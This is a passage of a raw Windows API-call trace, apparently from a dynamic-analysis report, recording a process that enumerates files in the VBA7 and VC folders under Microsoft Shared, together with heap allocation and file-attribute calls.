BaseAddress=0x8f6740) returned 1 [0244.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.106] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0244.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918910 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921038 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918930 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921140 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918950 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921248 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918970 [0244.108] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921350 [0244.108] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.108] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0244.108] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.108] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.108] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.108] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.108] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.108] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918990 [0244.108] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921458 [0244.108] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.108] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0244.108] GetLastError () returned 0x12 [0244.108] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0244.108] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.108] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.108] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0244.108] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0244.108] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0244.108] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0244.109] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0244.109] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0244.109] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0244.109] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0244.109] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0244.109] GetLastError () returned 0x12 [0244.109] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0244.109] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0244.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0244.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.110] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0244.110] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0244.110] GetLastError () returned 0x12 [0244.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.110] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.110] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0244.110] GetLastError () returned 0x12 [0244.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.110] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.110] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.110] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0244.110] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0244.153] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.153] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.153] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.153] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.153] NtClose (Handle=0x1b0) returned 0x0 [0244.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.154] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0244.154] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.154] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.154] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.154] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.154] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0244.154] GetLastError () returned 0x12 [0244.154] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0244.155] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.155] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.155] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0244.155] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0244.155] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0244.155] GetLastError () returned 0x12 [0244.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.155] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.155] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, 